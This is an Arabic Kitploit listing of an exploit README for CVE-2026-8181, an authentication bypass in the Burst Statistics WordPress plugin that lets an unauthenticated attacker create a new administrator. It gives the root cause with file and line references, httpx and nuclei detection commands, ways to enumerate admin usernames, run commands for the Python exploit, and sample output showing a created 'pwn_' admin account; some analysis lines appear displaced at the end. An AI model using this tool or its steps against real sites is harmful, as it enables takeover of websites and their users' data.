Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-8181 — استغلال لـ CVE-2026-8181 - تجاوز المصادقة في إضافة Burst Statistics لووردبريس | Kitploit
أدوات/GitHubGitHub/whattheslime/cve-2026-8181
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالمصادقةالفريق الأحمر
GitHubwhattheslime/cve-2026-8181

CVE-2026-8181

استغلال لـ CVE-2026-8181 - تجاوز المصادقة في إضافة Burst Statistics لووردبريس

عرض المستودع
منذ 3 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

استغلال CVE-2026-8181

إضافة Burst Statistics لووردبريس — تجاوز المصادقة لتصعيد صلاحيات المدير

استغلال لـ CVE-2026-8181 تم اكتشافه بواسطة كلوي تشامبرلاند و PRISM.

⚠️ إخلاء مسؤولية

هذا المستودع مقدم لأغراض البحث والأمن الدفاعي فقط. المؤلف لا يتحمل أي مسؤولية عن سوء استخدام هذه المعلومات.


📌 نظرة عامة

إضافة Burst Statistics – Privacy-Friendly WordPress Analytics الخاصة بووردبريس معرضة لـ تجاوز المصادقة يؤدي إلى تصعيد صلاحيات المدير في الإصدارات 3.4.0 إلى 3.4.1.1.

الثغرة موجودة في طريقة is_mainwp_authenticated() في وكيل MainWP الخاص بالإضافة، والتي تعالج بشكل غير صحيح أي قيمة إرجاع غير WP_Error من wp_authenticate_application_password() على أنها مصادقة ناجحة.

يسمح هذا للمهاجمين غير المصادقين الذين يعرفون اسم مستخدم مدير صالح بانتحال شخصية ذلك المدير طوال مدة أي طلب REST API، بما في ذلك نقاط نهاية ووردبريس الأساسية مثل POST /wp-json/wp/v2/users. بيانات اعتماد المدير الحالي لا تتعرض للخطر أبدًا، لكن المهاجم يحصل على صلاحياته لفترة كافية لإنشاء حساب مدير جديد تمامًا.


🔬 تحليل السبب الجذري

سلسلة الثغرة هي كما يلي:

  1. includes/class-burst.php:41 -> تقوم الإضافة بتسجيل init() على plugins_loaded بأولوية 9، والذي يشغل bootstrap() ويستدعي has_admin_access() لكل طلب (بما في ذلك REST).

  2. includes/Traits/trait-admin-helper.php:202 -> عندما يحمل الطلب الرأس X-BurstMainWP: 1، يقوم has_admin_access() بإنشاء مثيل لـ MainWP_Proxy ويفوض المصادقة إلى is_mainwp_authenticated().

  3. includes/Frontend/class-mainwp-proxy.php:314 -> تقرأ الطريقة رأس Authorization، وتفك تشفير بيانات الاعتماد الأساسية وترسل / التي قدمها المهاجم إلى الدالة الأساسية لووردبريس .

وبالتالي، فإن طلب HTTP واحد بكلمة مرور مزيفة كافٍ لانتحال شخصية أي مدير على مستوى REST API الأساسي لووردبريس.


🔎 اكتشاف تثبيت الإضافة

  1. الإضافة النشطة — يشير HTML الصفحة الرئيسية إلى أصولها فقط عند تفعيل الإضافة:

    root@kitploit:~
    echo http://127.0.0.1:8000 | httpx -silent -mr '/wp-content/plugins/burst-statistics/'
    
  2. الإصدار — يتم تقديم readme.txt بشكل ثابت ويكشف عن الإصدار المثبت (الضعيف: 3.4.0–3.4.1.1، المصحح: 3.4.2+):

    root@kitploit:~
    echo http://127.0.0.1:8000 | httpx -silent -path /wp-content/plugins/burst-statistics/readme.txt -er 'Stable tag:\s*[0-9][0-9a-zA-Z.\-]*'
    

قالب CVE-2026-8181.yaml المرفق مع nuclei يقوم بأتمتة كلا الفحصين ومقارنة الإصدارات:

root@kitploit:~
nuclei -t CVE-2026-8181.yaml -u http://127.0.0.1:8000

🎯 الاستغلال

بمجرد اكتشاف إصدار ضعيف من الإضافة، يتطلب الاستغلال معرفة اسم مستخدم مدير صالح. يقوم REST API الخاص بووردبريس بتسريبها في معظم التثبيتات من خلال نقطة نهاية المستخدمين العامة:

root@kitploit:~
echo http://127.0.0.1:8000 | httpx -silent -path '/wp-json/wp/v2/users' -er '"slug":"[^"]+"'

عندما يتم تأمين نقطة النهاية تلك (مثل بواسطة تعطيل REST API أو إيقاف تعداد المستخدمين)، فإن خدعة أرشيف المؤلف (/?author=N) عادة ما تظل تسرب اسم المستخدم عبر إعادة التوجيه إلى /author/<username>/.

مع وجود اسم مستخدم صالح، يقوم الاستغلال بإنشاء حساب مدير جديد في طلب واحد:

  1. تثبيت تبعيات بايثون:

    root@kitploit:~
    python3 -m venv venv
    venv/bin/pip install -r requirements.txt
    
  2. تشغيل الاستغلال ضد الهدف، مع توفير اسم مستخدم مدير معروف باستخدام -u:

    root@kitploit:~
    venv/bin/python3 CVE-2026-8181.py -t http://127.0.0.1:8000 -u admin
    

    مثال على المخرجات:

    root@kitploit:~
    [2026-05-16] [12:20:20] [info] [config] Impersonating admin='admin', will create new admin 'pwn_322a4903' / 'kS8D^2A^P^%UtWyuUS3p8%64' ([email protected]).
    [2026-05-16] [12:20:21] [success] [http://127.0.0.1:8000] Authentication bypass successful — new administrator created: username='pwn_322a4903' password='kS8D^2A^P^%UtWyuUS3p8%64'
    
  3. تسجيل الدخول إلى /wp-admin/ باستخدام حساب المدير المنشأ حديثًا.


⚠️ القيود

يعمل التجاوز فقط إذا وصل رأس Authorization إلى PHP عبر $_SERVER['HTTP_AUTHORIZATION']. على Apache + mod_php مع روابط دائمة عادية (الافتراضي لووردبريس خارج الصندوق)، لا يتم إنشاء .htaccess ويتم حذف الرأس بصمت — لا يمكن للاستغلال النجاح.

التبديل إلى أي رابط دائم غير عادي في الإعدادات → الروابط الدائمة يجعل ووردبريس 5.6+ يكتب التوجيه RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] في .htaccess، مما يستعيد التوجيه. Nginx + PHP-FPM و LiteSpeed يوجّهون Authorization افتراضيًا بغض النظر عن الروابط الدائمة. الروابط الدائمة الجميلة هي المعيار لتحسين محركات البحث في الإنتاج، وهذا هو سبب تصنيف هذه الثغرة بـ CVSS 9.8 غير مصادق.

يحاول الاستغلال /wp-json/wp/v2/users أولاً ثم يتراجع إلى /index.php?rest_route=/wp/v2/users لذا فإن توجيه نقطة النهاية ليس هو العائق أبدًا — فقط توجيه الرأس هو العائق.


📚 المراجع

  • https://www.wordfence.com/blog/2026/05/200000-wordpress-sites-at-risk-from-critical-authentication-bypass-vulnerability-in-burst-statistics-plugin/
  • https://www.wordfence.com/threat-intel/vulnerabilities/id/8ca830d6-3d3c-4026-85cd-8447b8a568d3
  • https://www.cve.org/CVERecord?id=CVE-2026-8181
تنزيل الأداة
username
password
wp_authenticate_application_password()
  • includes/Frontend/class-mainwp-proxy.php:328-329 -> يتم فحص القيمة المُرجعة فقط باستخدام is_wp_error(). تعيد ووردبريس الأساسية $input_user غير المعدل (هنا null) عندما لا تكون كلمات مرور التطبيق قيد الاستخدام أو عندما لا يتم وضع علامة على الطلب كطلب API. عند plugins_loaded بأولوية 9، لم يقم REST API بعد بتعيين الفلتر application_password_is_api_request إلى true، لذا فإن الشرط الثاني يتحقق دائمًا عند تشغيل التعليمات البرمجية الضعيفة — و null ليس WP_Error، لذا يمر الحارس.

  • includes/Frontend/class-mainwp-proxy.php:336 -> يتم استدعاء wp_set_current_user( $user->ID ) مع المستخدم الذي تم البحث عنه فقط من اسم المستخدم الذي قدمه المهاجم، مما يحدد المستخدم المصادق عالميًا للطلب بأكمله.